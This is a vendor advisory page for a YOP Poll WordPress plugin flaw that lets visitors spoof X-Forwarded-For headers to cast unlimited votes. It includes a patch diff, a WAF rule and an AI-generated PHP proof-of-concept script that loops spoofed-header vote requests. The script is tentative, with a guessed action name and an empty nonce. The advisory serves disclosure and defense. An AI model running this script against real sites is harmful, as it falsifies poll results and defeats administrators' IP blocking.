Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-14840: YOP Poll 7.0.0-7.0.5 IP Spoofing to Vote Restriction Bypass PoC, Patch Analysis & Rule

Plugin yop-poll
Severity Medium (CVSS 5.3)
CWE 348
Vulnerable Version 7.0.5
Patched Version 7.0.6
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14840: The YOP Poll plugin for WordPress versions 7.0.0 through 7.0.5 contains an IP spoofing vulnerability in the `get_client_ip()` function. This function determines the visitor’s IP address for enforcing once-per-IP voting restrictions and “Block Voters by IP” settings. Unauthenticated attackers can supply arbitrary values in the `Client-IP` or `X-Forwarded-For` HTTP headers to impersonate any IP address and bypass vote limits. The CVSS score is 5.3 (Medium).

Root Cause: The vulnerable code resides in `yop-poll/includes/REST/class-rest-base.php`, function `get_client_ip()` (lines 47-64 in the patched version). In versions 7.0.0 to 7.0.5, the function unconditionally trusts the `HTTP_CLIENT_IP` and `HTTP_X_FORWARDED_FOR` headers before falling back to `REMOTE_ADDR`. An attacker controls these headers entirely. The plugin uses the returned IP to check whether a visitor has already voted and to enforce IP blocking lists. By rotating the header value on each request, an attacker defeats both controls. The code fails to validate that the IP came from a trusted proxy or that the header value is a syntactically valid IP address.

Exploitation: An unauthenticated attacker sends repeated HTTP POST requests to the plugin’s vote submission endpoint (typically `/wp-admin/admin-ajax.php` with `action=yop_poll_add_vote` or the corresponding REST route like `/wp-json/yop-poll/v1/vote`). Each request includes a header such as `X-Forwarded-For: 10.0.0.1`, incrementing the last octet for each vote. The plugin’s `get_client_ip()` reads this header, extracts the first value, and stores it as the voter’s IP. Because the IP appears unique, the vote restriction check passes. The same technique bypasses the admin’s “Block Voters by IP” configuration, permitting unlimited voting and poll manipulation.

Patch Analysis: Version 7.0.6 introduces a `trust_proxy_headers()` method (lines 78-84 of `class-rest-base.php`) that reads the `yop_poll_settings` option and returns true only when the admin has explicitly set `general.use-custom-headers-for-ip` to `yes`. The updated `get_client_ip()` first captures `REMOTE_ADDR` and returns it immediately unless `trust_proxy_headers()` is true. When proxy trust is enabled, the function validates each header value with `filter_var($ip, FILTER_VALIDATE_IP)` before returning it; invalid values fall through to `REMOTE_ADDR`. This ensures client-controlled headers are ignored by default and only honored in known reverse-proxy deployments, with syntactic IP validation as a second layer of defense.

Impact: Successful exploitation allows an unauthenticated attacker to cast unlimited votes in any poll, falsifying results and undermining poll integrity. The attacker can also evade IP-based blocking, enabling abuse such as harassment or spam voting. No data confidentiality breach or privilege escalation occurs, but the integrity of voting data is compromised. The vulnerability affects any site using YOP Poll 7.0.0 to 7.0.5 with vote restrictions or IP blocking enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/yop-poll/build/admin.asset.php
+++ b/yop-poll/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '21c3160f6f8b0e088808');
+<?php return array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '0679579517c037dd8712');
--- a/yop-poll/build/frontend.asset.php
+++ b/yop-poll/build/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3edf8aaeff40ad1ea880');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '65890347d9fdb0cbe645');
--- a/yop-poll/includes/REST/class-rest-auth.php
+++ b/yop-poll/includes/REST/class-rest-auth.php
@@ -15,6 +15,44 @@
 				'permission_callback' => '__return_true',
 			),
 		) );
+
+		register_rest_route( $this->namespace, '/auth/status', array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'auth_status' ),
+				'permission_callback' => '__return_true',
+			),
+		) );
+	}
+
+	/**
+	 * Report whether the current visitor is logged in, and hand back fresh
+	 * nonces bound to that user. The frontend polls this while a WP login/
+	 * registration popup is open, so voting works regardless of where the
+	 * popup finally lands (core login, WooCommerce My Account, registration,
+	 * social-login plugins, etc.) instead of relying on the redirect hitting
+	 * wp_login_redirect().
+	 */
+	public function auth_status( $request ) {
+		// The REST cookie-auth middleware calls wp_set_current_user(0) when no
+		// _wpnonce is present. Re-authenticate from the session cookie so the
+		// nonces bind to the just-logged-in user, not user 0.
+		if ( ! is_user_logged_in() ) {
+			$user_id = wp_validate_auth_cookie( '', 'logged_in' );
+			if ( $user_id ) {
+				wp_set_current_user( $user_id );
+			}
+		}
+
+		$logged_in = is_user_logged_in();
+		$poll_id   = (int) $request->get_param( 'poll_id' );
+		nocache_headers();
+
+		return $this->success( array(
+			'loggedIn'    => $logged_in,
+			'nonce'       => ( $logged_in && $poll_id > 0 ) ? wp_create_nonce( 'yop_poll_vote_' . $poll_id ) : '',
+			'wpRestNonce' => $logged_in ? wp_create_nonce( 'wp_rest' ) : '',
+		) );
 	}

 	public function wp_login_redirect( $request ) {
--- a/yop-poll/includes/REST/class-rest-base.php
+++ b/yop-poll/includes/REST/class-rest-base.php
@@ -45,16 +45,45 @@
 	}

 	public function get_client_ip() {
-		$ip = '';
+		$remote_addr = ! empty( $_SERVER['REMOTE_ADDR'] )
+			? trim( sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) )
+			: '';
+
+		// By default, trust only the connection's origin address. Client-controlled
+		// forwarding headers (Client-IP, X-Forwarded-For) are consulted ONLY when the
+		// admin has explicitly opted in for a known reverse-proxy setup. This prevents
+		// an unauthenticated attacker from spoofing the header to rotate their IP and
+		// bypass the "Block Voters by IP" restriction. See CVE-2022-1600.
+		if ( ! $this->trust_proxy_headers() ) {
+			return $remote_addr;
+		}
+
 		if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
-			$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) );
-		} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
-			$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );
-			$ip = explode( ',', $ip )[0];
-		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
-			$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
+			$ip = trim( sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) ) );
+			if ( filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+				return $ip;
+			}
+		}
+		if ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
+			$forwarded = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );
+			$ip        = trim( explode( ',', $forwarded )[0] );
+			if ( filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+				return $ip;
+			}
 		}
-		return trim( $ip );
+
+		return $remote_addr;
+	}
+
+	/**
+	 * Whether the admin has opted in to trusting client-supplied proxy headers
+	 * (X-Forwarded-For / Client-IP) when determining the voter's IP.
+	 */
+	protected function trust_proxy_headers() {
+		$settings = json_decode( get_option( 'yop_poll_settings', 'false' ), true );
+		return is_array( $settings )
+			&& isset( $settings['general']['use-custom-headers-for-ip'] )
+			&& 'yes' === $settings['general']['use-custom-headers-for-ip'];
 	}

 	protected function build_date_interval( int $number, string $unit ): ?DateInterval {
--- a/yop-poll/yop_poll.php
+++ b/yop-poll/yop_poll.php
@@ -3,7 +3,7 @@
  * Plugin Name:       YOP Poll
  * Plugin URI:        https://yop-poll.com
  * Description:       The flexible WordPress poll plugin — rebuilt for speed, security, and ease of use.
- * Version:           7.0.5
+ * Version:           7.0.6
  * Requires at least: 6.5
  * Requires PHP:      7.4
  * Author:            YOP
@@ -18,7 +18,7 @@
 	exit;
 }

-define( 'YOP_POLL_VERSION', '7.0.5' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound -- YOP_POLL_ is the established plugin prefix; distribution slug is yop-poll.
+define( 'YOP_POLL_VERSION', '7.0.6' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound -- YOP_POLL_ is the established plugin prefix; distribution slug is yop-poll.
 define( 'YOP_POLL_FILE', __FILE__ ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound -- YOP_POLL_ is the established plugin prefix; distribution slug is yop-poll.
 define( 'YOP_POLL_DIR', plugin_dir_path( __FILE__ ) ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound -- YOP_POLL_ is the established plugin prefix; distribution slug is yop-poll.
 define( 'YOP_POLL_URL', plugin_dir_url( __FILE__ ) ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound -- YOP_POLL_ is the established plugin prefix; distribution slug is yop-poll.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14840
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$" 
  "id:20261484,phase:2,deny,status:403,chain,msg:'CVE-2026-14840 via YOP Poll AJAX IP spoofing',severity:'CRITICAL',tag:'CVE-2026-14840'"
  SecRule ARGS_POST:action "@streq yop_poll_add_vote" "chain"
    SecRule REQUEST_HEADERS:X-Forwarded-For "@rx ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14840 - YOP Poll 7.0.0-7.0.5 - IP Spoofing to Vote Restriction Bypass

$target_url = 'http://example.com'; // Change to your WordPress site URL
$poll_id = 1; // Change to the target poll ID
$vote_id = 1; // Change to the answer/poll option ID
$num_votes = 5; // Number of votes to cast

// The plugin accepts votes via admin-ajax.php with action=yop_poll_add_vote.
// It reads X-Forwarded-For to determine the voter IP. We rotate the value
// to bypass the once-per-IP restriction.

for ($i = 0; $i < $num_votes; $i++) {
    $spoofed_ip = '192.168.1.' . (10 + $i); // Unique IP per request
    $url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

    $post_fields = http_build_query(array(
        'action'  => 'yop_poll_add_vote',
        'poll_id' => $poll_id,
        'vote_id' => $vote_id,
        'nonce'   => '', // Nonce may be required; fetch from page if needed
    ));

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // Inject spoofed IP via X-Forwarded-For
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'X-Forwarded-For: ' . $spoofed_ip,
        'Content-Type: application/x-www-form-urlencoded',
    ));

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "Vote $i with spoofed IP $spoofed_ip: HTTP $http_coden";
    echo "Response: " . substr($response, 0, 200) . "nn";
}

// Note: The exact AJAX action and parameters may vary. Inspect the plugin's
// frontend JavaScript to confirm the action name and required fields.
// If the plugin uses a REST endpoint (e.g., /wp-json/yop-poll/v1/vote),
// adjust the URL and payload accordingly.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.